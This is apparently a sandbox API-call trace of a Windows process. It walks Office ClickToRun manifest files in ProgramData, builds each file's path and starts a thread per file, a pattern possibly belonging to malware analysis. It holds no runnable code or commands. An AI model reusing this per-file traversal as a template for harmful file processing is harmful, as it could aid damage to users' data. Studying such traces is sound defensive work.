	[0086.995] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1
	[0086.996] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.996] wcscmp (_String1="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481c238
	[0086.996] wcscpy (in: _Dest=0x481c238, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.996] wcscat (in: _Dest=0x481c238, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.996] wcscat (in: _Dest=0x481c238, _Source="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml"
	[0086.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c238, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a68
	[0086.997] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1
	[0086.997] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.997] wcscmp (_String1="C2RManifest.outlookmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ebe88
	[0086.997] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.997] wcscat (in: _Dest=0x47ebe88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.997] wcscat (in: _Dest=0x47ebe88, _Source="C2RManifest.outlookmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml"
	[0086.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebe88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a6c
	[0086.998] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1
	[0086.998] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.998] wcscmp (_String1="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x2d5c040
	[0086.998] wcscpy (in: _Dest=0x2d5c040, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.998] wcscat (in: _Dest=0x2d5c040, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.998] wcscat (in: _Dest=0x2d5c040, _Source="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml"
	[0086.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5c040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a70
	[0086.998] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1
	[0086.999] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0086.999] wcscmp (_String1="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0086.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10c) returned 0x498eaf0
	[0086.999] wcscpy (in: _Dest=0x498eaf0, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.999] wcscat (in: _Dest=0x498eaf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.999] wcscat (in: _Dest=0x498eaf0, _Source="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml"
	[0086.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498eaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a74
	[0086.999] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1
	[0086.999] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml", _String2=".") returned 1
	[0086.999] wcscmp (_String1="C2RManifest.powerpointmui.msi.16.en-us.xml", _String2="..") returned 1
	[0086.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752928
	[0086.999] wcscpy (in: _Dest=0x4752928, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0086.999] wcscat (in: _Dest=0x4752928, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0086.999] wcscat (in: _Dest=0x4752928, _Source="C2RManifest.powerpointmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.powerpointmui.msi.16.en-us.xml"
	[0086.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a78
	[0087.000] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1
	[0087.000] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0087.000] wcscmp (_String1="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0087.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x481d6d8
	[0087.000] wcscpy (in: _Dest=0x481d6d8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.000] wcscat (in: _Dest=0x481d6d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.000] wcscat (in: _Dest=0x481d6d8, _Source="C2RManifest.Project.Project.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml"
	[0087.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a7c
	[0087.001] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1
	[0087.001] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml", _String2=".") returned 1
	[0087.001] wcscmp (_String1="C2RManifest.projectmui.msi.16.en-us.xml", _String2="..") returned 1
	[0087.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ea9e8
	[0087.001] wcscpy (in: _Dest=0x47ea9e8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.001] wcscat (in: _Dest=0x47ea9e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.001] wcscat (in: _Dest=0x47ea9e8, _Source="C2RManifest.projectmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.projectmui.msi.16.en-us.xml"
	[0087.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea9e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a80
	[0087.002] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1
	[0087.002] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml", _String2=".") returned 1
	[0087.002] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.en-us.xml", _String2="..") returned 1
	[0087.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752a20
	[0087.002] wcscpy (in: _Dest=0x4752a20, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.002] wcscat (in: _Dest=0x4752a20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.002] wcscat (in: _Dest=0x4752a20, _Source="C2RManifest.Proof.Culture.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.en-us.xml"
	[0087.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4752a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a84
	[0087.002] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1
	[0087.003] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml", _String2=".") returned 1
	[0087.003] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.es-es.xml", _String2="..") returned 1
	[0087.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a200
	[0087.003] wcscpy (in: _Dest=0x2d8a200, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.003] wcscat (in: _Dest=0x2d8a200, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.003] wcscat (in: _Dest=0x2d8a200, _Source="C2RManifest.Proof.Culture.msi.16.es-es.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml"
	[0087.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a88
	[0087.003] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1
	[0087.003] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _String2=".") returned 1
	[0087.003] wcscmp (_String1="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _String2="..") returned 1
	[0087.003] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x2d8a6d8
	[0087.003] wcscpy (in: _Dest=0x2d8a6d8, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.003] wcscat (in: _Dest=0x2d8a6d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.004] wcscat (in: _Dest=0x2d8a6d8, _Source="C2RManifest.Proof.Culture.msi.16.fr-fr.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml"
	[0087.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d8a6d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8c
	[0087.004] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1
	[0087.004] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml", _String2=".") returned 1
	[0087.004] wcscmp (_String1="C2RManifest.proofing.msi.16.en-us.xml", _String2="..") returned 1
	[0087.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb528
	[0087.004] wcscpy (in: _Dest=0x47eb528, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.004] wcscat (in: _Dest=0x47eb528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.004] wcscat (in: _Dest=0x47eb528, _Source="C2RManifest.proofing.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml"
	[0087.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a90
	[0087.005] FindNextFileW (in: hFindFile=0x477a7e8, lpFindFileData=0x2dbf860 | out: lpFindFileData=0x2dbf860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1
	[0087.005] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _String2=".") returned 1
	[0087.005] wcscmp (_String1="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _String2="..") returned 1
	[0087.005] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x500c670
	[0087.005] wcscpy (in: _Dest=0x500c670, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0087.005] wcscat (in: _Dest=0x500c670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0087.005] wcscat (in: _Dest=0x500c670, _Source="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml"
	[0087.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a94
